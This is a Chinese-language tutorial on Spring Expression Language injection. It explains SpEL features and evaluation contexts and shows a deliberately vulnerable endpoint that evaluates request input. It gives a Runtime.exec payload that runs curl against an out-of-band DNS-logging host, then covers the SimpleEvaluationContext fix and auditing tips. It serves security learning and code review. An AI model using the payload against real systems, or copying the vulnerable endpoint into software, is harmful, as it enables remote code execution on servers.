目录
- 一、SpEL表达式概念
- [二、SpEL 的作用和应用场景](#二、SpEL 的作用和应用场景)
- 三、SpEL支持的功能特性
- 四、SpEL的执行机制
* - 五、SpEL表达式使用方法
* - 六、SpEL注入示例
- 七、SpEL利用的前置条件
- 八、漏洞修复
- 九、审计方法
一、SpEL表达式概念
Spring Expression Language(SpEL) 是 Spring Framework 提供的一种功能强大的表达式语言,全称为 Spring Expression Language ,简称 SpEL。它类似于 Struts2 中的 OGNL 表达式语言,旨在为静态的 Java 语言增加动态执行能力,使开发者可以以一种更简洁、灵活的方式访问对象属性、调用方法、进行逻辑运算和动态赋值。
二、SpEL 的作用和应用场景
SpEL 的设计初衷是为了简化开发工作,提供一种 在运行时动态解析和执行表达式 的机制,常用于如下场景:
- 配置 Bean 的属性值(配合
@Value
注解) - Spring Security 权限表达式
- Spring Data JPA 查询表达式
- 条件逻辑控制(如 SPEL 条件注解
@ConditionalOnExpression
) - 模板引擎中处理动态数据
- 静态方法调用或对象动态构造
举个简单例子,@Value("#{user.name}")
能让你动态从某个 Bean 中获取字段值注入到另一个 Bean 中。
SpEL 不仅支持属性访问和方法调用,还支持集合操作、正则匹配、表达式求值、对象创建等,是 Spring 应用中的通用表达式解析工具。
三、SpEL支持的功能特性
SpEL 主要支持以下操作:
功能 | 示例 | 描述 |
---|---|---|
文字表达式 | 'hello' , 123 , true |
字符串、数字、布尔值、null |
属性访问 | person.name |
访问对象属性 |
方法调用 | 'abc'.toUpperCase() |
调用实例方法 |
静态方法 | T(java.lang.Math).random() |
访问 Java 类的静态方法或字段 |
对象创建 | new java.util.Date() |
实例化对象 |
集合操作 | list[0] , map['key'] |
访问数组、List、Map |
关系运算符 | age > 18 |
比较操作,如 >、<、== 等 |
逻辑运算符 | true and false |
and 、or 、not 逻辑组合 |
条件(三元)运算符 | score > 60 ? '及格' : '不及格' |
简化条件判断 |
正则表达式 | 'abc' matches '[a-z]+' |
字符串正则匹配 |
Bean 引用 | @myBean |
引用 Spring 容器中的 Bean |
投影操作 | list.![name] |
从集合中提取每个元素的某个属性 |
过滤操作 | list.?[age > 18] |
过滤集合中满足条件的元素 |
变量引用 | #name , #user.age |
使用上下文中定义的变量 |
模板表达式 | "Welcome, #{#user.name}!" |
与字符串模板结合生成动态字符串 |
四、SpEL的执行机制
ExpressionParser
EvaluationContext
ExpressionParser(表达式解析器)
用于将字符串形式的表达式解析为 Expression
对象:
java
ExpressionParser parser = new SpelExpressionParser();
Expression expr = parser.parseExpression("user.age");
EvaluationContext(表达式上下文)
在执行表达式时提供变量、对象、函数等运行环境,简单来说,它是表达式执行的运行环境。
java
StandardEvaluationContext context = new StandardEvaluationContext(user);
int age = expr.getValue(context, Integer.class);
主要有 StandardEvaluationContext
和 SimpleEvaluationContext
两种
有些老版本不支持SimpleEvaluationContext
,并且如果不做特意说明的情况下,默认是使用更不安全的StandardEvaluationContext
其中StandardEvaluationContext
功能最强大,支持SpEL的所有特性,而SimpleEvaluationContext
功能受限,专为安全场景设计
功能类别 | StandardEvaluationContext ✅ | SimpleEvaluationContext 🛡️ | 说明 |
---|---|---|---|
设置根对象 | ✅ 支持 | ✅ 支持 | 设置表达式的默认作用对象 |
设置变量 | ✅ 支持 | ✅ 支持 | 可使用 #varName 形式 |
注册自定义函数 | ✅ 支持 | ❌ 不支持 | 可用静态方法注册为函数 |
访问 Java 类 | ✅ 支持(T(...)) | ❌ 不支持 | 如 T(java.lang.Math).PI |
调用构造函数 | ✅ 支持(new) | ❌ 不支持 | 如 new java.util.Date() |
访问 Spring Bean | ✅ 支持(配合 BeanResolver) | ❌ 不支持 | 通过 @beanName 引用 |
方法调用 | ✅ 支持 | ⚠️ 仅支持 getter | 完整方法调用或属性访问 |
修改属性 | ✅ 支持 | ❌ 不支持 | 只读上下文不允许修改 |
集合筛选与投影 | ✅ 支持 | ❌ 不支持 | 如 list.?[age>18] |
自定义类型转换器 | ✅ 支持 | ❌ 不支持 | 用于自定义表达式值转换 |
安全性 | ❌ 不安全 | ✅ 高安全性 | 用户输入不应使用标准上下文 |
适用场景 | 内部逻辑、系统配置 | 用户输入、REST绑定等 | 用于信任 vs 不信任来源 |
五、SpEL表达式使用方法
1、基于注解
一般是写死在代码中,没有很大的可能能利用
java
@Value("#{2 * 10}")
private int result;
@Value("#{systemProperties['user.name']}")
private String userName;
2、XML
也是写死在代码中,但是可以配合某些特定组件的Nday漏洞利用,如jackjson的CVE-2017-17485、weblogic的CVE-2019-2725
xml
<bean id="exampleBean" class="com.example.MyBean">
<property name="value" value="#{T(java.lang.Math).random() * 100}" />
</bean>
3、外部传入动态执行
外部传入的方式非常之危险
java
@GetMapping("/spel")
public String spel(@RequestParam String spel) {
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
Object value = expression.getValue();
return "结果: " + value;
}
六、SpEL注入示例
java
/**
* SpEL to RCE
* http://localhost:8080/spel/vul/?expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
Expression expression1 = parser.parseExpression(expression);
Object obje = expression1.getValue();
String obj_str = obje.toString();
return obj_str;
}
ExpressionParser parser = new SpelExpressionParser();
创建了一个表达式解析,将传入的expression
解析为Expression
对象
最终通过getValue
方法执行表达式,parseExpression
方法并不会执行表达式,最终的执行还是在getValue()
那么可以构造Payload为T(java.lang.Runtime).getRuntime().exec("curl xxx.dnslog.cn")
这里获取Runtime类,并通过调用Runtime.getRuntime.exec()
进行命令执行
++相关SpEL语法可见++ https://zhuanlan.zhihu.com/p/339619962

七、SpEL利用的前置条件
通过上面的学习,可以发现如果想要将SpEL升级成RCE,那么就必须具备一下三个条件
- 传入的表达式未过滤
- 表达式解析之后调用了getValue()或setValue()
- 使用StandardEvaluationContext作为上下文对象(如果不指定,Spring默认使用StandardEvaluationContext)
八、漏洞修复
使用SimpleEvaluationContext
代替StandardEvaluationContext
即可
九、审计方法
全局搜索expression或更详细的调用方法等